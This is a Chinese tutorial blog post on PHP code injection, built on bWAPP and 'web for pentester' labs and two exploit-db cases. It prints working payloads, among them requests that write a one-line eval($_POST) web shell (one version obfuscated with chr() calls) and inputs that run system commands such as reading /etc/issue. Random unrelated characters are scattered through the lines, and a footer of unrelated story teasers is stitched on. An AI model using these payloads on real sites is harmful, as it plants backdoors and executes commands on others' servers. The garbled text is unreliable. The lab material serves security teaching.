從bwapp學(xué)PHP代碼注入

0x00 背景

在bwapp的注入部分有一個(gè)個(gè)php injection产还,這是第一次接觸匹厘,在做題的過(guò)程中查閱各種資料學(xué)習(xí)這里總結(jié)一下

0x01 PHP命令執(zhí)行函數(shù)

遵從幾位學(xué)長(zhǎng)的建議對(duì)于PHP的學(xué)習(xí)都是需要的時(shí)候才去看一下,所以理解的程度并不深脐区。這里從網(wǎng)上收集了一些PHP能夠執(zhí)行命令的函數(shù)愈诚。詳情請(qǐng)看php執(zhí)行函數(shù)

0x02 bwapp下實(shí)例

在php injection的源代碼可以看到只有l(wèi)ow等級(jí)的對(duì)于message參數(shù)前有eval執(zhí)行函數(shù),midium和high都只是使用echo打印到頁(yè)面之上牛隅。因此直接在message的值寫(xiě)為phpinfo()就能執(zhí)行該函數(shù)炕柔。

在網(wǎng)上看到一個(gè)相較高級(jí)的利用辦法是利用fopen來(lái)寫(xiě)入一個(gè)php文件,相當(dāng)于實(shí)現(xiàn)了文件上傳的功能媒佣,要想在實(shí)際環(huán)境中實(shí)現(xiàn)需要考慮很多繞過(guò)的情況匕累,但是想法不錯(cuò)!

http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')

這樣的話(huà)就會(huì)在phpi的同級(jí)目錄之下生成一個(gè)haha.php文件默伍,使用菜刀連接就好欢嘿。

medium與high就直接忽略掉了。

0x03 文件包含

文件包含函數(shù)在特定條件下的代碼注射也糊,如include()炼蹦、include_once()、 require()狸剃、require_once()掐隐。當(dāng)allow_url_include=On ,PHP Version>=5.2.0 時(shí)捕捂,導(dǎo)致代碼注射瑟枫。

test.php代碼如下:

<?php include($_GET['a']) ?>

提交a的值:

http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E

提交之后就能正常執(zhí)行phpinfo()了

0x04 preg_replace正則替換

這個(gè)函數(shù)的定義形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

pattern參數(shù)的利用

pattern即第一個(gè)參數(shù)的代碼注射斗搞。當(dāng)magic_quotes_gpc=Off時(shí)指攒,導(dǎo)致代碼執(zhí)行。

例:<?php echo $regexp = $_GET['reg'];

$var = 'phpinfo()';

preg_replace("/(.*?)$regexp", '\\1', $var);

?>

當(dāng)提交?reg=%3C\/php%3E/e時(shí)就會(huì)執(zhí)行var中的語(yǔ)句

②使用/e修飾符僻焚,preg_replace會(huì)將?replacement?參數(shù)當(dāng)作?PHP?代碼執(zhí)行

例如:

<?php ?

echo?preg_replace("/test/e",$_GET["h"],"jutst?test");

??>/*當(dāng)提交的h參數(shù)為phpinfo()就會(huì)被執(zhí)行允悦,當(dāng)執(zhí)行以下經(jīng)過(guò)chr函數(shù)繞過(guò)的會(huì)生成一個(gè)新的php文件

h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).

chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).

chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).

chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文對(duì)應(yīng)的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);

0x05 動(dòng)態(tài)代碼執(zhí)行

這一類(lèi)一般是從用戶(hù)處獲得了多個(gè)參數(shù),然后有一個(gè)可以用來(lái)執(zhí)行其他的語(yǔ)句。

<?php ? $a = $_GET['a']; ? ? ? ? $b = $_GET['b']; ? ? ? ?$a($b); ? ?>

提交a=system&b=ipconfig ? 就能成功執(zhí)行ipconfig命令

還有一種是使用了create_function()函數(shù)

string?create_function ?(?string$args?? ,?string$code?? ) 即第一個(gè)參數(shù)指定創(chuàng)建函數(shù)的參數(shù)隙弛,第二個(gè)就是創(chuàng)建函數(shù)的代碼部分架馋。

create_function('$name', 'echo "hello".$name;'))等價(jià)于

function fun($name){ echo "hello".$name; }

實(shí)驗(yàn)代碼:

提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())

0x06 實(shí)例

http://www.exploit-db.com/exploits/18565/??LotusCMS 3.0 eval() Remote Command Execution

影響版本:

LotusCMS version 3.0.3

LotusCMS version 3.0.5

漏洞描述:

在LotusCMS 的index.php 文件中調(diào)用router 構(gòu)建函數(shù),然后在lcms/core/lib/router.php 中page 這個(gè)參數(shù)被帶入全闷,由于未經(jīng)任何過(guò)濾可以產(chǎn)生該漏洞叉寂。


也可以像上面提到的一樣利用執(zhí)行函數(shù)的特性來(lái)寫(xiě)入一個(gè)文件

3.案例-2:

http://www.exploit-db.com/exploits/35183/?X7 Chat 2.0.5 preg_replace() PHP Code Execution

影響版本:X7 Chat version 2.0.5

漏洞描述:

漏洞的產(chǎn)生最終是由于/lib/message.php 下的第119 行的preg_replce()函數(shù)導(dǎo)致,這里引用了/e 修飾符总珠,并且未經(jīng)過(guò)嚴(yán)格過(guò)濾最終導(dǎo)致任意代碼執(zhí)行屏鳍。

案例演示:

1. 首先需要注冊(cè)一個(gè)用戶(hù)

2. 利用注冊(cè)的用戶(hù)登錄

3. User CP –>Offline Msgs –>創(chuàng)建一個(gè)項(xiàng)目鏈接–>Send

或者直接GET 如下代碼

之后可以看到成功創(chuàng)建一個(gè)項(xiàng)目,當(dāng)打開(kāi)創(chuàng)建的項(xiàng)目可以看到利用代碼被成功執(zhí)行

Metasploit 更新了漏洞利用模塊局服,可以利用該模塊演示一下被利用的場(chǎng)景

PHP create_function()

1.在php 中使用create_function()創(chuàng)建一個(gè)匿名函數(shù)(lambda-style),如果對(duì)參數(shù)未進(jìn)行嚴(yán)格的過(guò)濾審查钓瞭,攻擊者可以通過(guò)提交特殊字符串給create_function()從而導(dǎo)致任意代碼執(zhí)行。

Code:

PHP?unserialize

Code:

提交語(yǔ)句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

PHP assert

Code:

提交語(yǔ)句:http://127.0.0.1/test/assert.php?test=phpinfo();

0x07 代碼執(zhí)行繞過(guò)

前面將一些常見(jiàn)的易造成PHP代碼注入的函數(shù)介紹了一下淫奔。接下來(lái)將以web for pentester中的案例來(lái)演示一下山涡,一些簡(jiǎn)單的php代碼執(zhí)行的繞過(guò)。

案例演示:

example1.php

代碼:

解決方案:

查看代碼我們可以看到唆迁,這里使用了反斜杠【\】將echo后面的內(nèi)容給轉(zhuǎn)義了鸭丛。這樣做與加addslashes()函數(shù)進(jìn)行過(guò)濾的意思是一樣的。具體案例可以到這里學(xué)習(xí)【php4fun.sinaapp.com PHP挑戰(zhàn)通關(guān)攻略】唐责。但是我們可以通過(guò)${${ }}這樣的方式繞過(guò)系吩,從而繼續(xù)執(zhí)行代碼。

提交語(yǔ)句:

http://target/codeexec/example1.php?name=${${phpinfo()}}

example2.php

代碼:

解決方案:

我們看代碼妒蔚,造成造成代碼注入的重點(diǎn)在被加紅的區(qū)域也就是create_function()的不當(dāng)使用穿挨,我們可以這樣構(gòu)造);}phpinfo();//,從而繼續(xù)執(zhí)行我們的命令肴盏】剖ⅲ【這里解釋一下);}是閉合了前面的代碼,而//則是將后面的內(nèi)容注釋掉】

提交代碼:

http://target/codeexec/example2.php?order=id);}phpinfo();//

example3.php

代碼:

解決方案:

/e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)贞绵。提示:要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會(huì)在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語(yǔ)法解析錯(cuò)誤恍飘。

因此當(dāng)滿(mǎn)足了在語(yǔ)句的構(gòu)造中有/e修正符榨崩,就有可能引起php代碼注入的風(fēng)險(xiǎn)≌履福可以如此構(gòu)造

new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

提交代碼:

http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

example4.php

代碼:

解決方案:

如此構(gòu)造即可:hacker’.system(‘cat /etc/issue’).’

提交代碼:

http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’

0x08 代碼防御

盡量不要執(zhí)行外部的應(yīng)用程序和命令

在使用諸如:eval母蛛、preg_replace、assert這些函數(shù)的時(shí)候乳怎,確定參數(shù)的內(nèi)容彩郊,嚴(yán)格過(guò)濾危險(xiǎn)參數(shù)。

使用自定義的函數(shù)或者函數(shù)庫(kù)來(lái)實(shí)現(xiàn)相關(guān)的需要命令功能

0x09 相關(guān)參考

代碼審計(jì)典型語(yǔ)法結(jié)構(gòu)

PHP代碼執(zhí)行漏洞總結(jié)

cn2.php.net

慎用preg_replace危險(xiǎn)的/e修飾符(一句話(huà)后門(mén)常用)

Web攻防系列教程之淺析PHP命令注入攻擊

文中后半部分來(lái)自千域千尋,PHP Code Injection Analysis

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末秫逝,一起剝皮案震驚了整個(gè)濱河市恕出,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌违帆,老刑警劉巖浙巫,帶你破解...
    沈念sama閱讀 217,907評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異刷后,居然都是意外死亡狈醉,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,987評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)惠险,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)绍刮,“玉大人纳寂,你說(shuō)我怎么就攤上這事。” “怎么了造锅?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,298評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵瞻颂,是天一觀的道長(zhǎng)霜威。 經(jīng)常有香客問(wèn)我泣栈,道長(zhǎng),這世上最難降的妖魔是什么抑进? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,586評(píng)論 1 293
  • 正文 為了忘掉前任强经,我火速辦了婚禮,結(jié)果婚禮上寺渗,老公的妹妹穿的比我還像新娘匿情。我一直安慰自己,他們只是感情好信殊,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,633評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布炬称。 她就那樣靜靜地躺著,像睡著了一般涡拘。 火紅的嫁衣襯著肌膚如雪玲躯。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,488評(píng)論 1 302
  • 那天鳄乏,我揣著相機(jī)與錄音跷车,去河邊找鬼。 笑死橱野,一個(gè)胖子當(dāng)著我的面吹牛朽缴,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播仲吏,決...
    沈念sama閱讀 40,275評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼不铆,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼蝌焚!你這毒婦竟也來(lái)了裹唆?” 一聲冷哼從身側(cè)響起誓斥,我...
    開(kāi)封第一講書(shū)人閱讀 39,176評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎许帐,沒(méi)想到半個(gè)月后劳坑,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,619評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡成畦,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,819評(píng)論 3 336
  • 正文 我和宋清朗相戀三年距芬,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片循帐。...
    茶點(diǎn)故事閱讀 39,932評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡框仔,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出拄养,到底是詐尸還是另有隱情离斩,我是刑警寧澤,帶...
    沈念sama閱讀 35,655評(píng)論 5 346
  • 正文 年R本政府宣布瘪匿,位于F島的核電站跛梗,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏棋弥。R本人自食惡果不足惜核偿,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,265評(píng)論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望顽染。 院中可真熱鬧漾岳,春花似錦、人聲如沸粉寞。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,871評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)仁锯。三九已至耀找,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間业崖,已是汗流浹背野芒。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,994評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留双炕,地道東北人狞悲。 一個(gè)月前我還...
    沈念sama閱讀 48,095評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像妇斤,于是被迫代替她去往敵國(guó)和親摇锋。 傳聞我的和親對(duì)象是個(gè)殘疾皇子丹拯,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,884評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容